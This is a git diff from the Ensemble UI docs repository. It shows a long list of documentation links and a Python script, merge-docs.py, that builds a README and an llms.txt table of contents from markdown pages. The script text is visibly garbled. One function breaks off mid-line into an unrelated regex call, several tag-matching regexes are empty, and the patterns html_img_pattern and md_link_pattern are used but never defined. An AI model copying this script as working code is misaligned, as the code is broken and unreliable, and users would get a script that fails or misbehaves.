Error](https://docs.ensembleui.com/tips-and-tricks/no-bounded-width) -- [No Bounded Height Error](https://docs.ensembleui.com/tips-and-tricks/no-bounded-height) -- [FlexRow No Bounded Width Error](https://docs.ensembleui.com/tips-and-tricks/flexrow-no-bounded-width) -- [FlexColumn No Bounded Height Error](https://docs.ensembleui.com/tips-and-tricks/flexcolumn-no-bounded-height) - -## Optional - -- [Website](https://ensembleui.com/) -- [Ensemble Studio](https://studio.ensembleui.com/) -- [Chat with us on Discord](https://discord.gg/cEHkJTmn75) -- [Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) +# Welcome to Ensemble + +Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: 1. Ensemble apps are native to each platform: iOS, Android, and web. 2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. 3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. ![architecture](/images/architecture.png) + +## Docs + +- [Studio overview](https://docs.ensembleui.com/studio-overview) +- [Ensemble Studio Desktop App](https://docs.ensembleui.com/desktop-app/installation) +- [Ensemble Screen Structure](https://docs.ensembleui.com/screens-and-widgets/screen-structure) +- [Layouts](https://docs.ensembleui.com/screens-and-widgets/layouts) +- [Screen Navigation](https://docs.ensembleui.com/screens-and-widgets/navigation) +- [Widgets Directory](https://docs.ensembleui.com/screens-and-widgets/widgets) +- [Script with JavaScript](https://docs.ensembleui.com/scripts-with-js) +- [Interact with APIs](https://docs.ensembleui.com/apis/api-overview) +- [Define APIs](https://docs.ensembleui.com/apis/define-api) +- [Invoking APIs, aka calling APIs](https://docs.ensembleui.com/apis/call-api) +- [Access API response body and headers](https://docs.ensembleui.com/apis/access-api-response) +- [onError](https://docs.ensembleui.com/apis/api-on-error) +- [Binding APIs to Item Templates](https://docs.ensembleui.com/apis/api-item-templates) +- [Mocking API responses to develop and test your app](https://docs.ensembleui.com/apis/use-mock-api-response) +- [Chaining APIs](https://docs.ensembleui.com/apis/chaining-apis) +- [SSL Configuration](https://docs.ensembleui.com/apis/api-ssl-configuration) +- [GraphQL](https://docs.ensembleui.com/apis/graphql) +- [Using WebSockets](https://docs.ensembleui.com/apis/websocket) +- [Theme](https://docs.ensembleui.com/theme-and-styling/theme) +- [Animations in EnsembleUI](https://docs.ensembleui.com/theme-and-styling/animations) +- [Using Custom Fonts](https://docs.ensembleui.com/theme-and-styling/custom-fonts) +- [Splash Feedback (Touchable Opacity)](https://docs.ensembleui.com/theme-and-styling/splash-feedback) +- [Text scaling](https://docs.ensembleui.com/theme-and-styling/text-scaling) +- [Assets (images, videos, etc.)](https://docs.ensembleui.com/assets) +- [Persistent Local Storage](https://docs.ensembleui.com/local-storage) +- [App Settings](https://docs.ensembleui.com/app-settings) +- [Configuration of Firebase Project with Ensemble App](https://docs.ensembleui.com/firebase/configuration) +- [Calling Cloud Firestore APIs](https://docs.ensembleui.com/firebase/firestore-operations) +- [Translations](https://docs.ensembleui.com/translations) +- [Authentication](https://docs.ensembleui.com/authentication/overview) +- [Social Sign In](https://docs.ensembleui.com/authentication/social-signin) +- [Setting up Authentication with Firebase](https://docs.ensembleui.com/authentication/firebase) +- [Setting up Authentication with Auth0](https://docs.ensembleui.com/authentication/auth0) +- [MoEngage Integration](https://docs.ensembleui.com/moengage/configuration) +- [Adobe Analytics](https://docs.ensembleui.com/adobe-analytics) +- [Setup Deeplink](https://docs.ensembleui.com/deep-link/setup-deeplink) +- [Setup Deferred Deeplink](https://docs.ensembleui.com/deep-link/setup-deferred-deeplink) +- [Embed Flutter screen in an Ensemble app](https://docs.ensembleui.com/extending-ensemble/external-screen) +- [Using local assets](https://docs.ensembleui.com/extending-ensemble/local-assets) +- [Understanding Widget Sizing](https://docs.ensembleui.com/concepts/widget-sizing) +- [Item Template](https://docs.ensembleui.com/concepts/item-template) +- [Data Binding](https://docs.ensembleui.com/concepts/data-binding) +- [Screen Lifecycle](https://docs.ensembleui.com/concepts/screen-lifecycle) +- [Custom Widgets](https://docs.ensembleui.com/concepts/custom-widgets) +- [Preview your app](https://docs.ensembleui.com/test/preview-app) +- [Automated Testing](https://docs.ensembleui.com/test/integration-tests) +- [Preparing your App for deployment](https://docs.ensembleui.com/deploy/1-prepare-app) +- [Configure Social Sign In for Deployment](https://docs.ensembleui.com/deploy/2-social-signin) +- [Deploy to iOS TestFlight](https://docs.ensembleui.com/deploy/3-ios-appstore) +- [Connecting to OAuth services (Optional)](https://docs.ensembleui.com/deploy/3-oauth-services) +- [Deploy to Android devices](https://docs.ensembleui.com/deploy/4-android-device) +- [Deploy to Android Play Store](https://docs.ensembleui.com/deploy/5-android-play-store) +- [Prepare for Production](https://docs.ensembleui.com/deploy/6-prepare-for-production) +- [Making your app work when offline](https://docs.ensembleui.com/deploy/7-offline-mode) +- [Guide: Generating Google Play Console API Key](https://docs.ensembleui.com/deploy/8-google-play-api-key) +- [Guide: Generating API Key for App Store Connect](https://docs.ensembleui.com/deploy/9-appstore-connect-api-key) +- [Guide: Generating a Firebase Service Account for App Distribution](https://docs.ensembleui.com/deploy/10-firebase-app-distribution) +- [Host and serve your app definition on your own server](https://docs.ensembleui.com/host-on-your-server) +- [Accordion Widget](https://docs.ensembleui.com/widgets/accordion) +- [Avatar widget](https://docs.ensembleui.com/widgets/avatar) +- [Button widget](https://docs.ensembleui.com/widgets/button) +- [Calendar widget](https://docs.ensembleui.com/widgets/calendar) +- [Carousel widget](https://docs.ensembleui.com/widgets/carousel) +- [ChartJS widget](https://docs.ensembleui.com/widgets/chart-js) +- [Checkbox widget](https://docs.ensembleui.com/widgets/checkbox) +- [Column widget](https://docs.ensembleui.com/widgets/column) +- [Conditional widget](https://docs.ensembleui.com/widgets/conditional) +- [ConfirmationInput widget](https://docs.ensembleui.com/widgets/confirmation-input) +- [DataGrid widget](https://docs.ensembleui.com/widgets/data-grid) +- [Date widget](https://docs.ensembleui.com/widgets/date) +- [Divider](https://docs.ensembleui.com/widgets/divider) +- [DropDown widget](https://docs.ensembleui.com/widgets/dropdown) +- [FittedColumn (deprecated)](https://docs.ensembleui.com/widgets/fitted-column) +- [FittedRow (deprecated)](https://docs.ensembleui.com/widgets/fitted-row) +- [FlexColumn](https://docs.ensembleui.com/widgets/flex-column) +- [FlexRow](https://docs.ensembleui.com/widgets/flex-row) +- [Flex](https://docs.ensembleui.com/widgets/flex) +- [Flow](https://docs.ensembleui.com/widgets/flow) +- [Form widget](https://docs.ensembleui.com/widgets/form) +- [GridView](https://docs.ensembleui.com/widgets/gridview) +- [HTML widget](https://docs.ensembleui.com/widgets/html) +- [Icon widget](https://docs.ensembleui.com/widgets/Icon) +- [Finding supported icons and their library](https://docs.ensembleui.com/widgets/icon2) +- [Image widget](https://docs.ensembleui.com/widgets/Image) +- [InlineTimePicker Widget](https://docs.ensembleui.com/widgets/inline-time-picker) +- [ListView](https://docs.ensembleui.com/widgets/listview) +- [LoadingContainer Widget](https://docs.ensembleui.com/widgets/loading-container) +- [Lottie Animation widget](https://docs.ensembleui.com/widgets/lottie) +- [Map widget](https://docs.ensembleui.com/widgets/Map) +- [Markdown widget](https://docs.ensembleui.com/widgets/markdown) +- [Multi-Child Layout widgets](https://docs.ensembleui.com/widgets/multi-child-layouts) +- [PasswordInput widget](https://docs.ensembleui.com/widgets/passwordinput) +- [Profile Image Widget](https://docs.ensembleui.com/widgets/profile-image) +- [Progress Indicator](https://docs.ensembleui.com/widgets/progress-indicator) +- [QRCodeScanner widget](https://docs.ensembleui.com/widgets/qrcode-scanner) +- [QR-Code widget](https://docs.ensembleui.com/widgets/qrcode) +- [RadioButton](https://docs.ensembleui.com/widgets/radio-button) +- [RadioGroup](https://docs.ensembleui.com/widgets/radio-group) +- [ensemble.RatingStars widget](https://docs.ensembleui.com/widgets/rating-widget) +- [Row](https://docs.ensembleui.com/widgets/row) +- [Shape Widget](https://docs.ensembleui.com/widgets/shape) +- [Signature Widget](https://docs.ensembleui.com/widgets/signature) +- [Slidable Widget](https://docs.ensembleui.com/widgets/slidable) +- [Slider Widget](https://docs.ensembleui.com/widgets/slider) +- [Spacer](https://docs.ensembleui.com/widgets/spacer) +- [Stack](https://docs.ensembleui.com/widgets/stack) +- [Staggered Grid](https://docs.ensembleui.com/widgets/staggered-grid) +- [Switch widget](https://docs.ensembleui.com/widgets/switch) +- [TabBar](https://docs.ensembleui.com/widgets/tabbar) +- [TextInput widget](https://docs.ensembleui.com/widgets/text-input) +- [Text widget](https://docs.ensembleui.com/widgets/text) +- [Time widget](https://docs.ensembleui.com/widgets/time) +- [TripleSwitch widget](https://docs.ensembleui.com/widgets/triple-state-switch) +- [Type References](https://docs.ensembleui.com/widgets/types) +- [Video widget](https://docs.ensembleui.com/widgets/video) +- [WebView widget](https://docs.ensembleui.com/widgets/webview) +- [Youtube](https://docs.ensembleui.com/widgets/youtube) +- [Composite Widgets](https://docs.ensembleui.com/composite-widgets) +- [authenticateByBiometric](https://docs.ensembleui.com/actions/authenticate-by-biometric) +- [BLE Client](https://docs.ensembleui.com/actions/ble-actions) +- [callExternalMethod](https://docs.ensembleui.com/actions/call-external-method) +- [checkPermission](https://docs.ensembleui.com/actions/check-permission) +- [readKeychain](https://docs.ensembleui.com/actions/read-keychain) +- [saveKeychain](https://docs.ensembleui.com/actions/save-keychain) +- [clearKeychain](https://docs.ensembleui.com/actions/clear-keychain) +- [closeAllDialogs](https://docs.ensembleui.com/actions/close-all-dialogs) +- [connectWallet](https://docs.ensembleui.com/actions/connect-wallet) +- [copyToClipboard](https://docs.ensembleui.com/actions/copy-to-clipboard) +- [Device Security](https://docs.ensembleui.com/actions/device-security) +- [Actions](https://docs.ensembleui.com/actions/directory) +- [dispatchEvent action](https://docs.ensembleui.com/actions/dispatch-event) +- [executeActionGroup](https://docs.ensembleui.com/actions/execute-action-group) +- [executeCode](https://docs.ensembleui.com/actions/execute-code) +- [executeConditionalAction](https://docs.ensembleui.com/actions/execute-conditional-action) +- [getLocation](https://docs.ensembleui.com/actions/get-location) +- [getNetworkInfo](https://docs.ensembleui.com/actions/get-network-info) +- [getPhoneContacts](https://docs.ensembleui.com/actions/get-phone-contacts) +- [invokeAPI](https://docs.ensembleui.com/actions/invoke-API) +- [invokeHaptic](https://docs.ensembleui.com/actions/invoke-haptic) +- [logEvent](https://docs.ensembleui.com/actions/log-events) +- [Action: navigateBack](https://docs.ensembleui.com/actions/navigate-back) +- [navigateModalScreen](https://docs.ensembleui.com/actions/navigate-modal-screen) +- [navigateScreen](https://docs.ensembleui.com/actions/navigate-screen) +- [navigateViewGroup](https://docs.ensembleui.com/actions/navigate-view-group) +- [notification](https://docs.ensembleui.com/actions/notification) +- [onNavigateBack](https://docs.ensembleui.com/actions/on-navigate-back) +- [Action: onViewGroupResume](https://docs.ensembleui.com/actions/on-view-group-resume) +- [Action: onViewGroupUpdate](https://docs.ensembleui.com/actions/on-view-group-update) +- [openAppSettings](https://docs.ensembleui.com/actions/open-app-settings) +- [openCamera](https://docs.ensembleui.com/actions/open-camera) +- [openPlaidLink](https://docs.ensembleui.com/actions/open-plaid-link) +- [openUrl](https://docs.ensembleui.com/actions/open-url) +- [pauseAudio](https://docs.ensembleui.com/actions/pause-audio) +- [pickFiles](https://docs.ensembleui.com/actions/pick-files) +- [playAudio](https://docs.ensembleui.com/actions/play-audio) +- [Pull To Refresh](https://docs.ensembleui.com/actions/pull-to-refresh) +- [rateApp](https://docs.ensembleui.com/actions/rate-app) +- [requestNotificationAccess](https://docs.ensembleui.com/actions/request-notification-access) +- [resumeAudio](https://docs.ensembleui.com/actions/resume-audio) +- [saveFile](https://docs.ensembleui.com/actions/save-file) +- [seekAudio](https://docs.ensembleui.com/actions/seek-audio) +- [getSecureStorage](https://docs.ensembleui.com/actions/get-secure-storage) +- [setSecureStorage](https://docs.ensembleui.com/actions/set-secure-storage) +- [clearSecureStorage](https://docs.ensembleui.com/actions/clear-secure-storage) +- [Share](https://docs.ensembleui.com/actions/share) +- [showBottomModal](https://docs.ensembleui.com/actions/show-bottom-modal) +- [showDialog](https://docs.ensembleui.com/actions/show-dialog) +- [showNotification](https://docs.ensembleui.com/actions/show-notification) +- [showToast](https://docs.ensembleui.com/actions/show-toast) +- [startTimer](https://docs.ensembleui.com/actions/start-timer) +- [stopAudio](https://docs.ensembleui.com/actions/stop-audio) +- [stopTimer](https://docs.ensembleui.com/actions/stop-timer) +- [takeScreenshot](https://docs.ensembleui.com/actions/take-screenshot) +- [uploadFiles](https://docs.ensembleui.com/actions/upload-files) +- [Formatter](https://docs.ensembleui.com/utilities/formatter) +- [Device](https://docs.ensembleui.com/utilities/device) +- [checkPermission](https://docs.ensembleui.com/device-capabilities/check-permission) +- [getLocation](https://docs.ensembleui.com/device-capabilities/get-location) +- [getPhoneContacts](https://docs.ensembleui.com/device-capabilities/get-phone-contacts) +- [invokeAPI](https://docs.ensembleui.com/device-capabilities/invoke-API) +- [invokeHaptic](https://docs.ensembleui.com/device-capabilities/invoke-haptic) +- [navigateBack](https://docs.ensembleui.com/device-capabilities/navigate-back) +- [navigateModalScreen](https://docs.ensembleui.com/device-capabilities/navigate-modal-screen) +- [navigateScreen](https://docs.ensembleui.com/device-capabilities/navigate-screen) +- [notification](https://docs.ensembleui.com/device-capabilities/notification) +- [openCamera](https://docs.ensembleui.com/device-capabilities/open-camera) +- [pickFiles](https://docs.ensembleui.com/device-capabilities/pick-files) +- [rateApp](https://docs.ensembleui.com/device-capabilities/rate-app) +- [requestNotificationAccess](https://docs.ensembleui.com/device-capabilities/request-notification-access) +- [Share](https://docs.ensembleui.com/device-capabilities/share) +- [showDialog](https://docs.ensembleui.com/device-capabilities/show-dialog) +- [showNotification](https://docs.ensembleui.com/device-capabilities/show-notification) +- [uploadFiles](https://docs.ensembleui.com/device-capabilities/upload-files) +- [Add logic using JavaScript](https://docs.ensembleui.com/javascript-reference/intro) +- [JavaScript Date](https://docs.ensembleui.com/javascript-reference/Date) +- [Ensemble Objects and their properties](https://docs.ensembleui.com/javascript-reference/Ensemble) +- [Exception Handling in Javascript](https://docs.ensembleui.com/javascript-reference/exceptions) +- [Defining and Re-using Javascript Code](https://docs.ensembleui.com/javascript-reference/global-scripts) +- [console.log](https://docs.ensembleui.com/javascript-reference/Global) +- [JSON](https://docs.ensembleui.com/javascript-reference/JSON) +- [JsonPath](https://docs.ensembleui.com/javascript-reference/JsonPath) +- [Object](https://docs.ensembleui.com/javascript-reference/Map-and-Array) +- [JavaScript Math](https://docs.ensembleui.com/javascript-reference/Math) +- [Number Functions](https://docs.ensembleui.com/javascript-reference/Numbers) +- [String Functions](https://docs.ensembleui.com/javascript-reference/String) +- [AppInfo object](https://docs.ensembleui.com/app-object) +- [Device object](https://docs.ensembleui.com/device-object) +- [Getting help from Ensemble team](https://docs.ensembleui.com/tips-and-tricks/getting-help) +- [Custom BottomNavBar item styling](https://docs.ensembleui.com/tips-and-tricks/custom-navbar-items) +- [Building responsive UIs](https://docs.ensembleui.com/tips-and-tricks/responsive-ui) +- [Use device's camera for updating profile picture](https://docs.ensembleui.com/tips-and-tricks/user-profile-picture) +- [Inputs to ChartJs](https://docs.ensembleui.com/tips-and-tricks/inputs-chartjs) +- [How to modify the BottomNavBar with custom styling and widgets](https://docs.ensembleui.com/tips-and-tricks/how-to-modify-bottom-navbar) +- [Open Maps with Coordinates on Android and iOS](https://docs.ensembleui.com/tips-and-tricks/open-maps-with-coordinates) +- [Using navigate Screen with BottomNavBar](https://docs.ensembleui.com/tips-and-tricks/navigateScreen-with-bottomNavBar) +- [Dynamic Color Modification in JavaScript](https://docs.ensembleui.com/tips-and-tricks/dynamic-color-modification) +- [Configuring BottomNavBar Icons](https://docs.ensembleui.com/tips-and-tricks/icons-in-bottomNavBar) +- [Invoke Haptics](https://docs.ensembleui.com/tips-and-tricks/invoke-haptic) +- [Custom Lottie Animations with Events and Controls](https://docs.ensembleui.com/tips-and-tricks/lottie-animations) +- [HTML Widget with maxLines Support and Enhanced Styling](https://docs.ensembleui.com/tips-and-tricks/html-widget) +- [Push Notification](https://docs.ensembleui.com/tips-and-tricks/push-notification) +- [Using device width and height](https://docs.ensembleui.com/tips-and-tricks/using-device-dimentions) +- [Using BottomSafeArea for Responsive Layouts](https://docs.ensembleui.com/tips-and-tricks/bottom-safe-area) +- [Floating Button](https://docs.ensembleui.com/tips-and-tricks/floatingButton) +- [Creating an Avatar](https://docs.ensembleui.com/tips-and-tricks/avatar) +- [Cookies in Webview](https://docs.ensembleui.com/tips-and-tricks/cookies) +- [adding this timer here just so that we can delay closing the dialog](https://docs.ensembleui.com/tips-and-tricks/custom-progress-dialog-close-on-an-event) +- [General Color for All Buttons across an App](https://docs.ensembleui.com/tips-and-tricks/general_primary_color-theme) +- [Icon Without Label](https://docs.ensembleui.com/tips-and-tricks/icon-with-label) +- [Profile Picture](https://docs.ensembleui.com/tips-and-tricks/profile-picture-item) +- [Specify library icons for start and end](https://docs.ensembleui.com/tips-and-tricks/specifying-icons) +- [No Bounded Width Error](https://docs.ensembleui.com/tips-and-tricks/no-bounded-width) +- [No Bounded Height Error](https://docs.ensembleui.com/tips-and-tricks/no-bounded-height) +- [FlexRow No Bounded Width Error](https://docs.ensembleui.com/tips-and-tricks/flexrow-no-bounded-width) +- [FlexColumn No Bounded Height Error](https://docs.ensembleui.com/tips-and-tricks/flexcolumn-no-bounded-height) + +## Optional + +- [Website](https://ensembleui.com/) +- [Ensemble Studio](https://studio.ensembleui.com/) +- [Chat with us on Discord](https://discord.gg/cEHkJTmn75) +- [Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) - [Drop us an email](mailto:hello@ensembleui.com) \ No newline at end of file diff --git a/scripts/merge-docs.py b/scripts/merge-docs.py index 5bcfa1a..683340c 100644 --- a/scripts/merge-docs.py +++ b/scripts/merge-docs.py @@ -1,620 +1,620 @@ -import os, json, re - - -def slugify(text): - """Convert text to a URL-friendly slug (lowercase, hyphens, no special chars).""" - text = text.lower() - text = re.sub(r"[^\w\s-]", "", text) - text = text.strip().replace(" ", "-") - text = re.sub(r"-+", "-", text) - return text - - -def to_sentence_case(s): - """ - Convert a hyphenated or lower-case string into sentence-case. - For example, "desktop-app" becomes "Desktop App" and - "screens-and-widgets" becomes "Screens and Widgets". - """ - s = s.replace("-", " ") - words = s.split() - if not words: - return s - minor_words = {"and", "or", "the", "of", "in", "a", "an"} - # Capitalize first word fully - result = [words[0].capitalize()] - for word in words[1:]: - # Lowercase minor words, capitalize others - if word.lower() in minor_words: - result.append(word.lower()) - else: - result.append(word.capitalize()) - return " ".join(result) - - -def get_first_heading(file_path): - """Extract the first markdown heading from a file, skipping YAML frontmatter.""" - heading_text = None - with open(file_path, "r", encoding="utf-8") as f: - in_frontmatter = False - for line in f: - line = line.strip() - if not line or line.startswith("", "", content, flags=re.DOTALL) - return content - - -def resolve_entry_path(dir_path, name): - """ - Given a directory and an entry name from _meta.json, try to resolve it to an actual file or directory. - If name does not exist, try appending .md and then .mdx. - """ - full_path = os.path.join(dir_path, name) - if os.path.exists(full_path): - return full_path - for ext in [".md", ".mdx"]: - candidate = full_path + ext - if os.path.exists(candidate): - return candidate - return None - - -def process_dir(dir_path, skip_index=False): - """ - Recursively traverse a docs directory following _meta.json for order and grouping. - Returns a list of nodes that represent pages or groups. - """ - meta_file = os.path.join(dir_path, "_meta.json") - entries = [] - meta_descriptions = {} - - if os.path.isfile(meta_file): - with open(meta_file, "r", encoding="utf-8") as f: - meta = json.load(f) - for key, val in meta.items(): - if isinstance(val, dict) and "description" in val: - # Store description for this key - meta_descriptions[key] = val["description"] - # Extract title if it exists - title = val.get("title", key) - entries.append((key, title)) - else: - entries.append((key, val)) - else: - for name in sorted(os.listdir(dir_path)): - if name.startswith("_"): - continue - entries.append((name, None)) - - nodes = [] - for name, title in entries: - resolved = resolve_entry_path(dir_path, name) - if resolved is None: - continue - - # Skip the training-videos file - base = os.path.basename(resolved).lower() - if base in ("training-videos.md", "training-videos.mdx"): - continue - - # Get description from _meta.json if available - meta_description = meta_descriptions.get(name) - - if os.path.isfile(resolved): - if skip_index and base in ("index.md", "index.mdx"): - continue - page_title = title if isinstance(title, str) else None - heading_text = get_first_heading(resolved) - if page_title is None: - page_title = heading_text if heading_text else name - if heading_text is None: - heading_text = page_title - - nodes.append( - { - "title": page_title, - "path": resolved, - "heading": heading_text, - "meta_description": meta_description, - } - ) - elif os.path.isdir(resolved): - group_title = title if isinstance(title, str) else name - sub_nodes = process_dir(resolved, skip_index=False) - index_node = next( - ( - child - for child in sub_nodes - if "path" in child - and os.path.basename(child["path"]).lower() - in ("index.md", "index.mdx") - ), - None, - ) - if index_node: - sub_nodes.remove(index_node) - group_node = {"title": group_title, "children": sub_nodes} - if index_node: - group_node["index_path"] = index_node["path"] - group_node["heading"] = index_node.get("heading", group_title) - group_node["meta_description"] = meta_description - else: - group_node["heading"] = group_title - group_node["meta_description"] = meta_description - nodes.append(group_node) - return nodes - - -def generate_toc(nodes, depth=0): - """Generate a nested markdown list for the Table of Contents.""" - toc_lines = [] - indent = " " * depth - for node in nodes: - # For directories (groups), convert title to sentence-case. - if "children" in node: - title = to_sentence_case(node["title"]) - if node.get("index_path"): - anchor_text = node.get("heading", title) - anchor = slugify(anchor_text) if anchor_text else "" - toc_lines.append(f"{indent}- [{title}](#{anchor})") - else: - toc_lines.append(f"{indent}- **{title}**") - if node["children"]: - toc_lines += generate_toc(node["children"], depth + 1) - else: - title = node["title"] # For files, assume title is already correct. - anchor_text = node.get("heading", title) - anchor = slugify(anchor_text) if anchor_text else "" - toc_lines.append(f"{indent}- [{title}](#{anchor})") - return toc_lines - - -def generate_llms_toc(nodes, base_url="https://docs.ensembleui.com"): - """Generate table of contents in llms.txt format.""" - lines = [] - - for node in nodes: - if "children" in node: - # This is a section/group - section_title = to_sentence_case(node["title"]) - - # Add index page if it exists - if node.get("index_path"): - title = node.get("heading", section_title) - rel_path = os.path.relpath(node["index_path"], "pages") - url_path = ( - rel_path.replace("\\", "/").replace(".mdx", "").replace(".md", "") - ) - if url_path == "index": - url_path = "" - elif url_path.endswith("/index"): - url_path = url_path[:-6] - - url = f"{base_url}/{url_path}" if url_path else base_url - meta_description = node.get("meta_description") - if meta_description: - lines.append(f"- [{title}]({url}): {meta_description}") - else: - lines.append(f"- [{title}]({url})") - - # Add child pages - for child in node["children"]: - if "path" in child: - title = child["title"] - rel_path = os.path.relpath(child["path"], "pages") - url_path = ( - rel_path.replace("\\", "/") - .replace(".mdx", "") - .replace(".md", "") - ) - url = f"{base_url}/{url_path}" - meta_description = child.get("meta_description") - if meta_description: - lines.append(f"- [{title}]({url}): {meta_description}") - else: - lines.append(f"- [{title}]({url})") - else: - # This is a standalone page at root level - title = node["title"] - rel_path = os.path.relpath(node["path"], "pages") - url_path = ( - rel_path.replace("\\", "/").replace(".mdx", "").replace(".md", "") - ) - url = f"{base_url}/{url_path}" - meta_description = node.get("meta_description") - if meta_description: - lines.append(f"- [{title}]({url}): {meta_description}") - else: - lines.append(f"- [{title}]({url})") - - return lines - - -def add_extension_to_link(match): - """Convert page links to anchor links if content exists in merged docs, otherwise keep external links.""" - prefix = match.group(1) # [text]( - original_path = match.group(2) # /path or path part - - # Add /pages/ prefix if not already there - if not original_path.startswith('/pages/'): - path = '/pages' + original_path - else: - path = original_path - - # Skip adding extension if already has one or is an anchor link - if path.endswith(('.md', '.mdx', '.html')) or '#' in path: - anchor_part = "" - if '#' in path: - path_part, anchor_part = path.split('#', 1) - path = path_part - - # Extract the relative path for checking - if path.startswith('/pages/'): - rel_path = path[7:] # Remove /pages/ prefix - else: - rel_path = path[1:] if path.startswith('/') else path - - # Check if this content exists in our merged documentation - if check_content_exists_in_merged_docs(rel_path): - # Convert to anchor link within README - if anchor_part: - # If there's an existing anchor, use it directly (it's already the specific section) - return prefix + '#' + anchor_part - else: - # No anchor, use the main heading - heading_text = get_heading_for_path(rel_path) - if heading_text: - anchor = slugify(heading_text) - return prefix + '#' + anchor - - # If content doesn't exist in merged docs, keep as external link - return prefix + path + (('#' + anchor_part) if anchor_part else '') - - # Extract the relative path for file checking - if path.startswith('/pages/'): - rel_path = path[7:] # Remove /pages/ prefix - else: - rel_path = path[1:] if path.startswith('/') else path - - # Check if this content exists in our merged documentation - if check_content_exists_in_merged_docs(rel_path): - # Convert to anchor link within README - heading_text = get_heading_for_path(rel_path) - if heading_text: - anchor = slugify(heading_text) - return prefix + '#' + anchor - - # If content doesn't exist in merged docs, keep as external link with extension - # Try to find the actual file to determine extension - full_path_mdx = os.path.join('pages', rel_path + '.mdx') - full_path_md = os.path.join('pages', rel_path + '.md') - - if os.path.exists(full_path_mdx): - return prefix + path + '.mdx' - elif os.path.exists(full_path_md): - return prefix + path + '.md' - else: - # Default to .md if file doesn't exist - return prefix + path + '.md' - - -def check_content_exists_in_merged_docs(rel_path): - """Check if the content for this path exists in our merged documentation structure.""" - # Check if the file exists in our pages directory - full_path_mdx = os.path.join('pages', rel_path + '.mdx') - full_path_md = os.path.join('pages', rel_path + '.md') - full_path_dir = os.path.join('pages', rel_path, 'index.mdx') - full_path_dir_md = os.path.join('pages', rel_path, 'index.md') - - return (os.path.exists(full_path_mdx) or - os.path.exists(full_path_md) or - os.path.exists(full_path_dir) or - os.path.exists(full_path_dir_md)) - - -def get_heading_for_path(rel_path): - """Get the heading text for a given path that will be used in the merged docs.""" - # Try to find the file and get its heading - full_path_mdx = os.path.join('pages', rel_path + '.mdx') - full_path_md = os.path.join('pages', rel_path + '.md') - full_path_dir = os.path.join('pages', rel_path, 'index.mdx') - full_path_dir_md = os.path.join('pages', rel_path, 'index.md') - - file_path = None - if os.path.exists(full_path_mdx): - file_path = full_path_mdx - elif os.path.exists(full_path_md): - file_path = full_path_md - elif os.path.exists(full_path_dir): - file_path = full_path_dir - elif os.path.exists(full_path_dir_md): - file_path = full_path_dir_md - - if file_path: - heading = get_first_heading(file_path) - if heading: - return heading - - # Fallback: use the path to generate a heading - return to_sentence_case(os.path.basename(rel_path)) - - -def clean_content(lines): - """ - Clean the content lines by: - - Removing MDX import/export lines. - - Converting MDX Callout blocks into Markdown note blocks. - - Removing other MDX component blocks. - - Fixing markdown and HTML image paths (inserting 'public/' before /images/). - - Fixing internal links (inserting 'pages/' before relative links and adding extensions). - """ - cleaned = [] - in_code_block = False - in_callout_block = False - in_component_block = False - component_start_pattern = re.compile(r"^\s*<([A-Z][\w]+)") - # Regex for markdown images: ![alt](/images/... - md_image_pattern = re.compile(r"(!\[[^\]]*\]\()(/images/)", re.IGNORECASE) - # Regex for HTML image tags: but not or or - html_link_pattern = re.compile(r'(]*href=["\'])(/(?!images/|http|#)[^"\']+)', re.IGNORECASE) - - for line in lines: - if line.strip().startswith("```"): - in_code_block = not in_code_block - cleaned.append(line) - continue - - if not in_code_block: - # Process Callout blocks specially: - if not in_callout_block: - callout_match = re.match(r'\s*', line) - if callout_match: - in_callout_block = True - cleaned.append("> [!NOTE]") - continue - - if in_callout_block: - if "" in line: - in_callout_block = False - continue - stripped = line.strip() - if stripped: - cleaned.append("> " + stripped) - else: - cleaned.append(">") - continue - - # For other MDX components, skip them. - if in_component_block: - if "" in line: - in_component_block = False - continue - - if line.lstrip().startswith("import ") or line.lstrip().startswith( - "export " - ): - continue - - comp_match = component_start_pattern.match(line) - if comp_match: - in_component_block = True - continue - - # Fix markdown image paths (add public before /images/). - line = md_image_pattern.sub(r"\1public\2", line) - # Fix HTML image paths (add public before /images/). - line = html_img_pattern.sub(r"\1public\2", line) - # Fix markdown links (add /pages/ before relative links and add extensions). - line = md_link_pattern.sub(lambda m: add_extension_to_link(m), line) - # Fix HTML links (add /pages/ before relative links and add extensions). - line = html_link_pattern.sub(lambda m: add_extension_to_link(m), line) - - cleaned.append(line) - return cleaned - - -def collect_content(nodes, level=1): - """ - Collect the content of all pages in the nodes, including sections. - For each file (leaf node), append a separator '---' at the end. - For group nodes without an index file, do not add an extra heading. - """ - lines = [] - for node in nodes: - if "children" in node: - if node.get("index_path"): - with open(node["index_path"], "r", encoding="utf-8") as f: - raw = f.read().splitlines() - section_intro = clean_content(raw) - lines += section_intro - if section_intro and section_intro[-1] != "": - lines.append("") - # Add separator after index file of a section. - lines.append("---") - lines.append("") - lines += collect_content(node["children"], level + 1) - else: - with open(node["path"], "r", encoding="utf-8") as f: - raw = f.read().splitlines() - page_lines = clean_content(raw) - lines += page_lines - if page_lines and page_lines[-1] != "": - lines.append("") - # Append a separator for each file. - lines.append("---") - lines.append("") - return lines - - -# Base directory settings -repo_root = os.getcwd() -pages_dir = os.path.join(repo_root, "pages") -public_dir = os.path.join(repo_root, "public") - -# Ensure public directory exists -os.makedirs(public_dir, exist_ok=True) - -# Process the pages directory -structure = process_dir(pages_dir, skip_index=True) - -# Read the root index.mdx content -index_path = os.path.join(pages_dir, "index.mdx") -if not os.path.exists(index_path): - index_path = os.path.join(pages_dir, "index.md") - -index_lines = [] -main_title = "Ensemble" -main_description = "Documentation for the Ensemble platform" - -if os.path.exists(index_path): - with open(index_path, "r", encoding="utf-8") as f: - raw_index = f.read().splitlines() - index_lines = clean_content(raw_index) - - # Extract title for llms.txt - title_from_index = get_first_heading(index_path) - if title_from_index: - main_title = title_from_index - - # Extract description for llms.txt - description_content = get_description_content(index_path) - if description_content: - main_description = description_content - -# Generate README.md -output_lines = [] -if index_lines: - output_lines += index_lines - if output_lines and output_lines[-1] != "": - output_lines.append("") - -# Generate the Table of Contents from the sidebar structure -toc = generate_toc(structure) -if toc: 